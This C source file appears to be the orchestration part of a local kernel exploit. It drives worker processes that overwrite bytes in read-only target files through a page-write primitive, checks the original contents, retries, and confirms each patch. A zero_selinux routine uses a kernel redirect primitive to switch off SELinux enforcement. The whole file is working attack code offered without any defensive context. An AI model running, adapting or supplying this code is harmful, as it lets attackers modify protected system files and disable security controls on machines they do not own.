#include "common.h"

#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

enum {
	CAPTURE_SIZE = 128 * 1024,
	PATCH_TIMEOUT_SECONDS = 240,
	PATCH_ATTEMPTS = 5,
};

struct worker {
	pid_t pid;
	int output_fd;
	int command_fd;
	char output[CAPTURE_SIZE + 1];
	size_t used;
};

static pid_t orchestrator_pid;
static pid_t active_worker = -1;
static pid_t active_redirect = -1;

static uint64_t monotonic_ms(void)
{
	struct timespec time;

	clock_gettime(CLOCK_MONOTONIC, &time);
	return (uint64_t)time.tv_sec * 1000ULL + time.tv_nsec / 1000000ULL;
}

static int write_all(int fd, const void *buffer, size_t size)
{
	const unsigned char *at = buffer;

	while (size) {
		ssize_t count = write(fd, at, size);

		if (count > 0) {
			at += count;
			size -= (size_t)count;
			continue;
		}
		if (count < 0 && errno == EINTR)
			continue;
		return -1;
	}
	return 0;
}

static int read_region(const char *path, off_t offset,
		       void *buffer, size_t size)
{
	unsigned char *at = buffer;
	int fd = open(path, O_RDONLY | O_CLOEXEC);

	if (fd < 0)
		return -1;
	while (size) {
		ssize_t count = pread(fd, at, size, offset);

		if (count > 0) {
			at += count;
			offset += count;
			size -= (size_t)count;
			continue;
		}
		if (count < 0 && errno == EINTR)
			continue;
		close(fd);
		return -1;
	}
	return close(fd);
}

static bool region_matches(const char *path, off_t offset,
			   const unsigned char *expected, size_t size)
{
	unsigned char *observed = malloc(size);
	bool match = false;

	if (!observed)
		return false;
	if (read_region(path, offset, observed, size) == 0)
		match = memcmp(observed, expected, size) == 0;
	free(observed);
	return match;
}

int wait_child(pid_t pid, unsigned int timeout_seconds, bool process_group)
{
	uint64_t deadline = monotonic_ms() + timeout_seconds * 1000ULL;
	int status;

	for (;;) {
		pid_t result = waitpid(pid, &status, WNOHANG);

		if (result == pid) {
			if (process_group)
				(void)kill(-pid, SIGKILL);
			return WIFEXITED(status) ? WEXITSTATUS(status) : 128;
		}
		if (result < 0)
			return -1;
		if (monotonic_ms() >= deadline)
			break;
		usleep(10000);
	}
	(void)kill(process_group ? -pid : pid, SIGKILL);
	while (waitpid(pid, &status, 0) < 0 && errno == EINTR)
		;
	return -1;
}

static void stop_worker(struct worker *worker)
{
	if (worker->command_fd >= 0) {
		close(worker->command_fd);
		worker->command_fd = -1;
	}
	if (worker->output_fd >= 0) {
		close(worker->output_fd);
		worker->output_fd = -1;
	}
	if (worker->pid > 0)
		(void)wait_child(worker->pid, 1, true);
	worker->pid = -1;
	active_worker = -1;
}

static void cleanup_active(void)
{
	if (getpid() != orchestrator_pid)
		return;
	if (active_redirect > 0) {
		(void)wait_child(active_redirect, 1, true);
		active_redirect = -1;
	}
	if (active_worker > 0) {
		(void)kill(-active_worker, SIGKILL);
		(void)wait_child(active_worker, 1, true);
		active_worker = -1;
	}
}

static void terminate_handler(int signal_number)
{
	if (getpid() == orchestrator_pid) {
		if (active_redirect > 0)
			(void)kill(-active_redirect, SIGKILL);
		if (active_worker > 0)
			(void)kill(-active_worker, SIGKILL);
	}
	_exit(128 + signal_number);
}

void orchestrator_init(void)
{
	orchestrator_pid = getpid();
	atexit(cleanup_active);
	signal(SIGINT, terminate_handler);
	signal(SIGTERM, terminate_handler);
	signal(SIGHUP, terminate_handler);
}

static int spawn_worker(struct worker *worker, const char *target,
			off_t offset, const unsigned char *payload,
			size_t payload_size)
{
	int output_pipe[2] = {-1, -1};
	int command_pipe[2] = {-1, -1};
	pid_t pid;

	memset(worker, 0, sizeof(*worker));
	worker->pid = -1;
	worker->output_fd = -1;
	worker->command_fd = -1;
	if (pipe2(output_pipe, O_CLOEXEC) != 0 ||
	    pipe2(command_pipe, O_CLOEXEC) != 0) {
		if (output_pipe[0] >= 0) {
			close(output_pipe[0]);
			close(output_pipe[1]);
		}
		return -1;
	}
	pid = fork();
	if (pid < 0) {
		close(output_pipe[0]);
		close(output_pipe[1]);
		close(command_pipe[0]);
		close(command_pipe[1]);
		return -1;
	}
	if (pid == 0) {
		int result;

		(void)setpgid(0, 0);
		close(output_pipe[0]);
		close(command_pipe[1]);
		if (dup2(output_pipe[1], STDOUT_FILENO) < 0 ||
		    dup2(output_pipe[1], STDERR_FILENO) < 0)
			_exit(120);
		close(output_pipe[1]);
		result = pipe_worker(target, offset, payload, payload_size,
				     command_pipe[0]);
		close(command_pipe[0]);
		exit(result);
	}
	(void)setpgid(pid, pid);
	close(output_pipe[1]);
	close(command_pipe[0]);
	worker->pid = pid;
	worker->output_fd = output_pipe[0];
	worker->command_fd = command_pipe[1];
	active_worker = pid;
	return 0;
}

static int capture_until(struct worker *worker, const char *marker,
			 unsigned int timeout_seconds)
{
	uint64_t deadline = monotonic_ms() + timeout_seconds * 1000ULL;

	for (;;) {
		struct pollfd pollfd = {
			.fd = worker->output_fd,
			.events = POLLIN | POLLHUP,
		};
		char chunk[4096];
		uint64_t now = monotonic_ms();
		ssize_t count;

		if (strstr(worker->output, marker))
			return 0;
		if (now >= deadline || poll(&pollfd, 1, (int)(deadline - now)) <= 0)
			return -1;
		count = read(worker->output_fd, chunk, sizeof(chunk));
		if (count <= 0)
			return -1;
		(void)write_all(STDOUT_FILENO, chunk, (size_t)count);
		if (worker->used + (size_t)count >= CAPTURE_SIZE) {
			size_t keep = CAPTURE_SIZE / 2;

			memmove(worker->output, worker->output + worker->used - keep,
				keep);
			worker->used = keep;
		}
		memcpy(worker->output + worker->used, chunk, (size_t)count);
		worker->used += (size_t)count;
		worker->output[worker->used] = '\0';
	}
}

static int run_redirect(bool zero_mode, uint64_t target)
{
	pid_t pid = fork();
	int result;

	if (pid < 0)
		return -1;
	if (pid == 0) {
		(void)setpgid(0, 0);
		exit(zero_mode ? late_refs_zero(target) : late_refs_pipe(target));
	}
	(void)setpgid(pid, pid);
	active_redirect = pid;
	result = wait_child(pid, PATCH_TIMEOUT_SECONDS, true);
	active_redirect = -1;
	return result;
}

static int patch_once(const char *tag, const char *target, off_t offset,
		      const unsigned char *payload, size_t payload_size)
{
	struct worker worker = {
		.pid = -1,
		.output_fd = -1,
		.command_fd = -1,
	};
	unsigned long long page;
	int result = -1;

	if (spawn_worker(&worker, target, offset, payload, payload_size) != 0)
		goto out;
	if (capture_until(&worker, "ROLE_READY role=B", PATCH_TIMEOUT_SECONDS) != 0)
		goto out;
	char *ready = strstr(worker.output, "ROLE_READY role=B page=");
	if (!ready || sscanf(ready, "ROLE_READY role=B page=0x%llx", &page) != 1)
		goto out;
	if (run_redirect(false, page) != 0)
		goto out;
	if (write_all(worker.command_fd, "W", 1) != 0)
		goto out;
	if (capture_until(&worker, "TWO_PAGE_READONLY_WRITE_", 60) != 0)
		goto out;
	result = strstr(worker.output, "TWO_PAGE_READONLY_WRITE_HIT") ? 0 : -1;
	close(worker.command_fd);
	worker.command_fd = -1;
	close(worker.output_fd);
	worker.output_fd = -1;
	if (wait_child(worker.pid, 30, true) != 0)
		result = -1;
	worker.pid = -1;
	active_worker = -1;

out:
	stop_worker(&worker);
	printf("PATCH_%s tag=%s target=%s offset=0x%llx\n",
	       result == 0 ? "PASS" : "FAIL", tag, target,
	       (unsigned long long)offset);
	return result;
}

int patch_retry(const char *tag, const char *target, off_t offset,
		const unsigned char *payload, size_t payload_size,
		const unsigned char *preimage, size_t preimage_size)
{
	if (region_matches(target, offset, payload, payload_size)) {
		printf("PATCH_FAIL tag=%s reason=stale_payload\n", tag);
		return -1;
	}
	if (!region_matches(target, offset, preimage, preimage_size)) {
		printf("PATCH_FAIL tag=%s reason=preimage_mismatch\n", tag);
		return -1;
	}
	for (int attempt = 1; attempt <= PATCH_ATTEMPTS; attempt++) {
		int primitive_result = patch_once(tag, target, offset,
					  payload, payload_size);

		if (region_matches(target, offset, payload, payload_size)) {
			printf("PATCH_CONFIRMED tag=%s attempt=%d primitive_rc=%d\n",
			       tag, attempt, primitive_result);
			return 0;
		}
		printf("PATCH_RETRY tag=%s attempt=%d\n", tag, attempt);
		usleep(250000);
	}
	return -1;
}

int zero_selinux(uint64_t enforcing_alias)
{
	for (int attempt = 1; attempt <= 2; attempt++) {
		if (run_redirect(true, enforcing_alias) == 0 &&
		    selinux_enforcing() == 0)
			return 0;
		printf("SELINUX_RETRY attempt=%d enforcing=%d\n",
		       attempt, selinux_enforcing());
	}
	return -1;
}